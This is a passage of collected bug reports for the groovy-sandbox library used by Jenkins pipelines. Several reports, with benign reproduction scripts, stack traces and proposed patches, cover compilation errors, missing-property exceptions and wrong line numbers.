pipeline-model-extensions:2.2150.v4cfd8916915c
pipeline-rest-api:2.34
pipeline-stage-step:305.ve96d0205c1c6
pipeline-stage-tags-metadata:2.2150.v4cfd8916915c
pipeline-stage-view:2.34
pipeline-utility-steps:2.16.0
plain-credentials:143.v1b_df8b_d3b_e48
plugin-util-api:3.6.0
prism-api:1.29.0-8
progress-bar-column-plugin:11.vdef198c2d6c1
prometheus:2.3.3
pubsub-light:1.18
schedule-build:502.v9379e178e65b_
scm-api:676.v886669a_199a_a_
script-security:1275.v23895f409fb_d
shelve-project-plugin:3.2
snakeyaml-api:2.2-111.vc6598e30cc65
sse-gateway:1.26
ssh-credentials:308.ve4497b_ccd8f4
ssh-slaves:2.916.vd17b_43357ce4
sshd:3.312.v1c601b_c83b_0e
structs:325.vcb_307d2a_2782
subversion:2.17.3
throttle-concurrents:2.14
timestamper:1.26
tm4j-automation:3.3.4
token-macro:384.vf35b_f26814ec
trilead-api:2.84.v72119de229b_7
variant:60.v7290fc0eb_b_cd
warnings-ng:10.5.1
workflow-aggregator:596.v8c21c963d92d
workflow-api:1283.v99c10937efcb_
workflow-basic-steps:1042.ve7b_140c4a_e0c
workflow-cps:3806.va_3a_6988277b_2
workflow-durable-task-step:1289.v4d3e7b_01546b_
workflow-job:1360.vc6700e3136f5
workflow-multibranch:756.v891d88f2cd46
workflow-scm-step:415.v434365564324
workflow-step-api:639.v6eca_cd8c04a_a_
workflow-support:865.v43e78cc44e0d
xunit:3.1.3
zentimestamp:4.2

What Operating System are you using (both controller, and any agents involved in the problem)?

Windows and Linux both for the controller. An agent is not needed to reproduce the issue.

Reproduction steps

  1. (Try to) execute this pipeline:
import groovy.transform.CompileStatic

@CompileStatic
class Test {
    @NonCPS
    static int foo() {
        return Integer.valueOf("5")
    }
}

pipeline {
    agent none
    stages {
        stage('Test') {
            steps {
                echo "${Test.foo()}"
            }
        }
    }
}

Expected Results

The pipeline should complete successfully

Actual Results

The following error is written in the console log:

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
WorkflowScript: 7: [Static type checking] - Non static method java.util.List#toArray cannot be called from static context
 @ line 7, column 32.
           return Integer.valueOf("5")
                                  ^

1 error

	at org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollector.java:309)
	at org.codehaus.groovy.control.CompilationUnit.applyToPrimaryClassNodes(CompilationUnit.java:1107)
	at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(CompilationUnit.java:624)
	at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(CompilationUnit.java:602)
	at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.java:579)
	at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:323)
	at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:293)
	at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.GroovySandbox$Scope.parse(GroovySandbox.java:163)
	at org.jenkinsci.plugins.workflow.cps.CpsGroovyShell.doParse(CpsGroovyShell.java:190)
	at org.jenkinsci.plugins.workflow.cps.CpsGroovyShell.reparse(CpsGroovyShell.java:175)
	at org.jenkinsci.plugins.workflow.cps.CpsFlowExecution.parseScript(CpsFlowExecution.java:635)
	at org.jenkinsci.plugins.workflow.cps.CpsFlowExecution.start(CpsFlowExecution.java:581)
	at org.jenkinsci.plugins.workflow.job.WorkflowRun.run(WorkflowRun.java:335)
	at hudson.model.ResourceController.execute(ResourceController.java:101)
	at hudson.model.Executor.run(Executor.java:442)

Anything else?

The sandbox transformer will create code for the method foo, which should look like this:

    static int foo() {
        return Checker.checkedCall(Integer, false, false, "valueOf", ["5"].toArray())
    }

Here you can actually see the toArray call, which the static type checking complains about.

When directly writing this code and inspecting the generated groovy AST, ["5"].toArray() is a MethodCallExpression, with a ListExpression as object, "toArray" as the method, and empty argument list.
The difference between the parsed groovy code and the one created by the SandboxTransformer is the attribute implicitThis on the MethodCallExpression.

  • In the parsed groovy code it is false (presumably, because the receiver object, the list expression, is explicitly given)
  • In the SandboxTransformer code, it is true (because that is the default value)

Are you interested in contributing a fix?

Not tested yet, but I'm assuming that changing the created MethodCallExpression in SandboxTransformer.transformArguments should fix this:

            MethodCallExpression mce = new MethodCallExpression(new ListExpression(l),"toArray",new ArgumentListExpression());
            mce.setImplicitThis(false);
            return withLoc(e, mce);

BUG! exception in phase 'canonicalization': NPE in SandboxTransformer

Jenkins and plugins versions report

Exception parsing Jenkinsfile. The problem has been isolated in a small unit test (below). This is a regression: our Jenkinsfile have been working successfully until this change two months ago.

What Operating System are you using (both controller, and any agents involved in the problem)?

doesn't matter

Reproduction steps

Add following test to SandboxTransformerTest and execute it:

    @Test
    public void bugExceptionInCanonicalization() throws Exception {
        String script = "@groovy.transform.Field\n"
                + "private static final MY_MAP = [\n"
                + "    myKey: { changedFiles -> changedFiles.any {\n"
                + "            return it == 'foo.txt'\n"
                + "        }\n"
                + "    }\n"
                + "]";
        sandboxedSh.evaluate(script);
    }

Expected Results

a green unit test

Actual Results

Following exception:

BUG! exception in phase 'canonicalization' in source unit 'Script1.groovy' unexpected NullpointerException
	at org.codehaus.groovy.control.CompilationUnit.applyToPrimaryClassNodes(CompilationUnit.java:1092)
	at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(CompilationUnit.java:624)
	at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(CompilationUnit.java:602)
	at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.java:579)
	at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:323)
	at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:293)
	at groovy.lang.GroovyShell.parseClass(GroovyShell.java:677)
	at groovy.lang.GroovyShell.parse(GroovyShell.java:689)
	at groovy.lang.GroovyShell.evaluate(GroovyShell.java:573)
	at groovy.lang.GroovyShell.evaluate(GroovyShell.java:612)
	at groovy.lang.GroovyShell.evaluate(GroovyShell.java:583)
	at org.kohsuke.groovy.sandbox.SandboxTransformerTest.foo0(SandboxTransformerTest.java:1116)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59)
	at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
	at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56)
	at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
	at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26)
	at org.junit.rules.Verifier$1.evaluate(Verifier.java:35)
	at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306)
	at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100)
	at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366)
	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103)
	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63)
	at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331)
	at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79)
	at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329)
	at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66)
	at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293)
	at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306)
	at org.junit.runners.ParentRunner.run(ParentRunner.java:413)
	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:89)
	at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:40)
	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:541)
	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:768)
	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:464)
	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:210)
Caused by: java.lang.NullPointerException
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.visitReturnStatement(SandboxTransformer.java:411)
	at org.codehaus.groovy.ast.stmt.ReturnStatement.visit(ReturnStatement.java:49)
	at org.codehaus.groovy.ast.CodeVisitorSupport.visitBlockStatement(CodeVisitorSupport.java:88)
	at org.codehaus.groovy.ast.ClassCodeVisitorSupport.visitBlockStatement(ClassCodeVisitorSupport.java:166)
	at org.kohsuke.groovy.sandbox.ScopeTrackingClassCodeExpressionTransformer.visitBlockStatement(ScopeTrackingClassCodeExpressionTransformer.java:71)
	at org.codehaus.groovy.ast.stmt.BlockStatement.visit(BlockStatement.java:71)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.innerTransform(SandboxTransformer.java:502)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.transform(SandboxTransformer.java:469)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.transformArguments(SandboxTransformer.java:436)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.innerTransform(SandboxTransformer.java:523)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.transform(SandboxTransformer.java:469)
	at org.codehaus.groovy.ast.ClassCodeExpressionTransformer.visitExpressionStatement(ClassCodeExpressionTransformer.java:144)
	at org.codehaus.groovy.ast.stmt.ExpressionStatement.visit(ExpressionStatement.java:42)
	at org.codehaus.groovy.ast.CodeVisitorSupport.visitBlockStatement(CodeVisitorSupport.java:88)
	at org.codehaus.groovy.ast.ClassCodeVisitorSupport.visitBlockStatement(ClassCodeVisitorSupport.java:166)
	at org.kohsuke.groovy.sandbox.ScopeTrackingClassCodeExpressionTransformer.visitBlockStatement(ScopeTrackingClassCodeExpressionTransformer.java:71)
	at org.codehaus.groovy.ast.stmt.BlockStatement.visit(BlockStatement.java:71)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.innerTransform(SandboxTransformer.java:502)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.transform(SandboxTransformer.java:469)
	at org.codehaus.groovy.ast.expr.MapEntryExpression.transformExpression(MapEntryExpression.java:43)
	at org.codehaus.groovy.ast.ClassCodeExpressionTransformer.transform(ClassCodeExpressionTransformer.java:90)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.innerTransform(SandboxTransformer.java:833)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.transform(SandboxTransformer.java:469)
	at org.codehaus.groovy.ast.expr.Expression.transformExpressions(Expression.java:65)
	at org.codehaus.groovy.ast.expr.MapExpression.transformExpression(MapExpression.java:63)
	at org.codehaus.groovy.ast.ClassCodeExpressionTransformer.transform(ClassCodeExpressionTransformer.java:90)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.innerTransform(SandboxTransformer.java:833)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.transform(SandboxTransformer.java:469)
	at org.codehaus.groovy.ast.ClassCodeExpressionTransformer.visitField(ClassCodeExpressionTransformer.java:70)
	at org.kohsuke.groovy.sandbox.ScopeTrackingClassCodeExpressionTransformer.visitField(ScopeTrackingClassCodeExpressionTransformer.java:64)
	at org.kohsuke.groovy.sandbox.SandboxTransformer$VisitorImpl.visitField(SandboxTransformer.java:416)
	at org.kohsuke.groovy.sandbox.SandboxTransformer.call(SandboxTransformer.java:156)
	at org.codehaus.groovy.control.CompilationUnit.applyToPrimaryClassNodes(CompilationUnit.java:1087)
	... 39 more

Anything else?

The problem has probably been introduced in commit 5202432
5202432#diff-2de07a9b073d0d81f913c248e08a99a237aec811fb3d54ee32a76bb4d8bb9abbR411

The unit test is working at revision 74d3a4e.

A simple workaround consist in initializing the map with an empty map and to assign a value later.

MissingPropertyException for "it" in closures

The code below throws a MissingPropertyException when using it inside of closures after version 1.5.

Example 1:

log = ''
(1..10).each{log += it}

Example 2:

list =["foo", "bar"]
index = list.findIndexOf{ it == "foo"}

Expand property accesses to getter/setter methods when applicable

It is annoying complication for a GroovyInterceptor implementation that a script calling, say, a.hostAddress where a is an InetAddress will be informed of onGetProperty with a property of hostAddress, when this is really just Groovy syntactic sugar. Would be more comfortable to receive onMethodCall of getHostAddress, which is what is really happening.

Consider Bump to Groovy 2.x

Seems that groovy-sandbox works well with Groovy 2.x when I exclude groovy 1.8 dependency in my pom, but it would be nice to see a dependency bump.

Kinda funny - we've been resisting the bump to Groovy 2.x in TinkerPop for a long time. Now, here I am requesting a groovy version bump consideration in someone else's lib. oh well.... 😄

Need to handle Keyword Types

I am receiving a IllegalArgumentException when I use a 'keyword' (like instanceof)

Example:

String myStr = "hello"; 
if (myStr instanceof String) {
  // do something
}

causes the following Exception

java.lang.IllegalArgumentException: 544
    at org.kohsuke.groovy.sandbox.impl.Ops.binaryOperatorMethods(Ops.java:29)
    at org.kohsuke.groovy.sandbox.impl.Checker.checkedBinaryOp(Checker.java:311)
    at org.kohsuke.groovy.sandbox.impl.Checker$checkedBinaryOp$1.callStatic(Unknown Source)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:53)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:157)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:173)

It looks like KEYWORD types are not being checked.

I was able to work around this by adding a isKeywordOperator method in Ops.java

diff --git a/src/main/java/org/kohsuke/groovy/sandbox/impl/Ops.java b/src/main/java/org/kohsuke/groovy/sandbox/impl/Ops.java
index 1706438..f197d95 100644
--- a/src/main/java/org/kohsuke/groovy/sandbox/impl/Ops.java
+++ b/src/main/java/org/kohsuke/groovy/sandbox/impl/Ops.java
@@ -37,6 +37,10 @@ public class Ops {
     public static boolean isLogicalOperator(int type) {
         return Types.ofType(type,LOGICAL_OPERATOR);
     }
+    
+    public static boolean isKeywordOperator(int type) {
+        return Types.ofType(type, KEYWORD);
+    }


     // see http://groovy.codehaus.org/Operator+Overloading

and calling it in the SandboxTransformer

diff --git a/src/main/groovy/org/kohsuke/groovy/sandbox/SandboxTransformer.groovy b/src/main/groovy/org/kohsuke/groovy/sandbox/SandboxTransformer.groovy
index 5a13627..4a1c2bc 100644
--- a/src/main/groovy/org/kohsuke/groovy/sandbox/SandboxTransformer.groovy
+++ b/src/main/groovy/org/kohsuke/groovy/sandbox/SandboxTransformer.groovy
@@ -334,6 +334,8 @@ class SandboxTransformer extends CompilationCustomizer {
                                 transform(exp.rightExpression)
                         ])
                     }
+                } else if (Ops.isKeywordOperator(exp.operation.type)) {
+                   return super.transform(exp); 
                 } else
                 if (interceptMethodCall) {
                     // normally binary operators like a+b

Not sure if this is the best way to do this is or not but thought I would pass along what I found out.

Missing property exception for closure parameter when used in while statement

Hi,

I have the following sample code which works fine when running it in a groovy class:

char somec = 'a'
def list = new ArrayList<String>()
list.add('dew')
list.add('eff')
list.add('fde')
while (list.stream().noneMatch({s -> s.indexOf((int) somec) >= 0})) {
    somec++
}

However, when trying to execute this code via the GroovyShell, a MissingPropertyException is thrown for the closure parameter 's'. It seems that org.kohsuke.groovy.sandbox.impl.Checker is trying to find the property on the Script object, rather than within the closure. When changing the while to an if statement everything seems to work and org.kohsuke.groovy.sandbox.impl.Checker#checkedGetProperty is never called in the first place.

Full stack trace:

groovy.lang.MissingPropertyException: No such property: s for class: Script1
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:65)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.getProperty(ScriptBytecodeAdapter.java:470)
	at org.kohsuke.groovy.sandbox.impl.Checker$6.call(Checker.java:293)
	at org.kohsuke.groovy.sandbox.GroovyInterceptor.onGetProperty(GroovyInterceptor.java:68)
	at org.kohsuke.groovy.sandbox.impl.Checker$6.call(Checker.java:291)
	at org.kohsuke.groovy.sandbox.impl.Checker.checkedGetProperty(Checker.java:295)
	at org.kohsuke.groovy.sandbox.impl.Checker$checkedGetProperty$4.callStatic(Unknown Source)
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:55)
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:196)
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:232)
	at Script1$_run_closure1.doCall(Script1.groovy:6)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:566)
	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:101)
	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:323)
	at org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:263)
	at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1041)
	at groovy.lang.Closure.call(Closure.java:405)
	at org.codehaus.groovy.runtime.ConvertedClosure.invokeCustom(ConvertedClosure.java:50)
	at org.codehaus.groovy.runtime.ConversionHandler.invoke(ConversionHandler.java:122)
	at com.sun.proxy.$Proxy127.test(Unknown Source)
	at java.base/java.util.stream.MatchOps$1MatchSink.accept(MatchOps.java:90)
	at java.base/java.util.ArrayList$ArrayListSpliterator.tryAdvance(ArrayList.java:1631)
	at java.base/java.util.stream.ReferencePipeline.forEachWithCancel(ReferencePipeline.java:127)
	at java.base/java.util.stream.AbstractPipeline.copyIntoWithCancel(AbstractPipeline.java:502)
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:488)
	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:474)
	at java.base/java.util.stream.MatchOps$MatchOp.evaluateSequential(MatchOps.java:230)
	at java.base/java.util.stream.MatchOps$MatchOp.evaluateSequential(MatchOps.java:196)
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
	at java.base/java.util.stream.ReferencePipeline.noneMatch(ReferencePipeline.java:538)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:566)
	at org.codehaus.groovy.runtime.callsite.PlainObjectMetaMethodSite.doInvoke(PlainObjectMetaMethodSite.java:43)
	at org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap.invoke(PojoMetaMethodSite.java:200)
	at org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite.call(PojoMetaMethodSite.java:53)
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:47)
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:115)
	at org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:160)
	at org.kohsuke.groovy.sandbox.GroovyInterceptor.onMethodCall(GroovyInterceptor.java:23)
	at net.robinfriedli.botify.scripting.GroovyWhitelistInterceptor.super$2$onMethodCall(GroovyWhitelistInterceptor.groovy)
	at jdk.internal.reflect.GeneratedMethodAccessor316.invoke(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:566)
	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:101)
	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:323)
	at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1217)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.invokeMethodOnSuperN(ScriptBytecodeAdapter.java:144)
	at net.robinfriedli.botify.scripting.GroovyWhitelistInterceptor.onMethodCall(GroovyWhitelistInterceptor.groovy:46)
	at org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:158)
	at org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:162)
	at org.kohsuke.groovy.sandbox.impl.Checker$checkedCall$1.callStatic(Unknown Source)
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:55)
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:196)
	at Script1.run(Script1.groovy:6)
	at groovy.lang.GroovyShell.evaluate(GroovyShell.java:443)
	at groovy.lang.GroovyShell.evaluate(GroovyShell.java:481)
	at groovy.lang.GroovyShell.evaluate(GroovyShell.java:452)

Line numbers sometimes incorrect in transformed code

After running some code through the sandbox transformer, I found that the source line numbers are not always correctly rendered in stack traces. For example, given this input:

public class MyClass
{
    int foo()
    {
    }
}

MyClass myObj;

def cl =  {
    int bar = 0;

    System.out.println(myObj.foo());
}

cl();

When running this, the expected null dereference when calling myObj.foo() happens on line 13. Running this with groovy-sandbox 1.7 yields:

Caused by: java.lang.NullPointerException: Cannot invoke method foo() on null object
    at org.codehaus.groovy.runtime.NullObject.invokeMethod(NullObject.java:88)
    at org.codehaus.groovy.runtime.callsite.PogoMetaClassSite.call(PogoMetaClassSite.java:45)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:45)
    at org.codehaus.groovy.runtime.callsite.NullCallSite.call(NullCallSite.java:32)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:45)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:108)
    at org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:92)
    at org.kohsuke.groovy.sandbox.impl.Checker$checkedCall.callStatic(Unknown Source)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:53)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:157)
    at MyGroovyScript$_run_closure1.doCall(MyGroovyScript.groovy:11)
    at MyGroovyScript$_run_closure1.doCall(MyGroovyScript.groovy)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90)
    at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:233)
    at org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:278)
    at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:909)
    at org.codehaus.groovy.runtime.callsite.PogoMetaClassSite.call(PogoMetaClassSite.java:39)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:45)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:108)
    at org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:113)
    at org.kohsuke.groovy.sandbox.GroovyInterceptor.onMethodCall(GroovyInterceptor.java:21)
    at org.kohsuke.groovy.sandbox.GroovyValueFilter.onMethodCall(GroovyValueFilter.java:58)
    at org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:111)
    at org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:108)
    at org.kohsuke.groovy.sandbox.impl.Checker$checkedCall.callStatic(Unknown Source)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:53)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:157)
    at MyGroovyScript.run(MyGroovyScript.groovy:10)
    at com.mycompany.GroovyManager.executeScript(GroovyManager.java:325)
    ... 32 more

We walk the stack trace to find the line number as the source of the error to report to the user, which means that we extract this line from the above:

    at MyGroovyScript$_run_closure1.doCall(MyGroovyScript.groovy:11)

This should have been line 13 (and indeed it is shown as line 13 if we do not enable the sandbox transformer).

Applying the following patch to SandboxTransformer.groovy seems to yield the correct line numbers. I'm not a Groovy/AST expert though, so I'm not sure if this is the right way to solve the problem.

index 65c845c..ef5e112 100644
--- a/src/main/groovy/org/kohsuke/groovy/sandbox/SandboxTransformer.groovy
+++ b/src/main/groovy/org/kohsuke/groovy/sandbox/SandboxTransformer.groovy
@@ -179,9 +179,19 @@ class SandboxTransformer extends CompilationCustomizer {
             return new StaticMethodCallExpression(checkerClass,name,
                 new ArgumentListExpression(arguments as Expression[]))
         }
-    
+
         @Override
         Expression transform(Expression exp) {
+            Expression rc = innerTransform(exp);
+
+            if (rc != null && exp != null) {
+                rc.setSourcePosition(exp);
+            }
+
+            return rc;
+        }
+
+        Expression innerTransform(Expression exp) {
             if (exp instanceof ClosureExpression) {
                 // ClosureExpression.transformExpression doesn't visit the code inside
                 ClosureExpression ce = (ClosureExpression)exp;

ArrayIndexOutOfBoundsException in GroovyCallSiteSelector.isIllegalCallToSyntheticConstructor

I have script-security-plugin version 1.76 installed which depends on groovy-sandbox version 1.26. I started seeing the below exception in my pipeline after some recent updates and not sure exactly which update is triggering this error:

java.lang.ArrayIndexOutOfBoundsException: 1
	at org.kohsuke.groovy.sandbox.impl.GroovyCallSiteSelector.isIllegalCallToSyntheticConstructor(GroovyCallSiteSelector.java:124)
	at org.kohsuke.groovy.sandbox.impl.GroovyCallSiteSelector.findConstructor(GroovyCallSiteSelector.java:51)
	at org.kohsuke.groovy.sandbox.impl.Checker.checkedConstructor(Checker.java:201)
	at com.cloudbees.groovy.cps.sandbox.SandboxInvoker.constructorCall(SandboxInvoker.java:21)

I can reproduce this using this simple pipeline script with sandbox enabled:

public class Node {
    protected Node(String tagName, Node... children) {
    }
}

public static Node text(String text) {
    return new Node(text)
}

print(text("TEST"))

Full exception stack trace:

java.lang.ArrayIndexOutOfBoundsException: 1
	at org.kohsuke.groovy.sandbox.impl.GroovyCallSiteSelector.isIllegalCallToSyntheticConstructor(GroovyCallSiteSelector.java:124)
	at org.kohsuke.groovy.sandbox.impl.GroovyCallSiteSelector.findConstructor(GroovyCallSiteSelector.java:51)
	at org.kohsuke.groovy.sandbox.impl.Checker.checkedConstructor(Checker.java:201)
	at com.cloudbees.groovy.cps.sandbox.SandboxInvoker.constructorCall(SandboxInvoker.java:21)
	at WorkflowScript.text(WorkflowScript:9)
	at WorkflowScript.run(WorkflowScript:12)
	at ___cps.transform___(Native Method)
	at com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.dispatchOrArg(FunctionCallBlock.java:97)
	at com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.fixArg(FunctionCallBlock.java:83)
	at sun.reflect.GeneratedMethodAccessor222.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.cloudbees.groovy.cps.impl.ContinuationPtr$ContinuationImpl.receive(ContinuationPtr.java:72)
	at com.cloudbees.groovy.cps.impl.LocalVariableBlock$LocalVariable.get(LocalVariableBlock.java:39)
	at com.cloudbees.groovy.cps.LValueBlock$GetAdapter.receive(LValueBlock.java:30)
	at com.cloudbees.groovy.cps.impl.LocalVariableBlock.evalLValue(LocalVariableBlock.java:28)
	at com.cloudbees.groovy.cps.LValueBlock$BlockImpl.eval(LValueBlock.java:55)
	at com.cloudbees.groovy.cps.LValueBlock.eval(LValueBlock.java:16)
	at com.cloudbees.groovy.cps.Next.step(Next.java:83)
	at com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:174)
	at com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:163)
	at org.codehaus.groovy.runtime.GroovyCategorySupport$ThreadCategoryInfo.use(GroovyCategorySupport.java:129)
	at org.codehaus.groovy.runtime.GroovyCategorySupport.use(GroovyCategorySupport.java:268)
	at com.cloudbees.groovy.cps.Continuable.run0(Continuable.java:163)
	at org.jenkinsci.plugins.workflow.cps.SandboxContinuable.access$001(SandboxContinuable.java:18)
	at org.jenkinsci.plugins.workflow.cps.SandboxContinuable.run0(SandboxContinuable.java:51)
	at org.jenkinsci.plugins.workflow.cps.CpsThread.runNextChunk(CpsThread.java:185)
	at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.run(CpsThreadGroup.java:400)
	at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.access$400(CpsThreadGroup.java:96)
	at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:312)
	at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:276)
	at org.jenkinsci.plugins.workflow.cps.CpsVmExecutorService$2.call(CpsVmExecutorService.java:67)
	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
	at hudson.remoting.SingleLaneExecutorService$1.run(SingleLaneExecutorService.java:131)
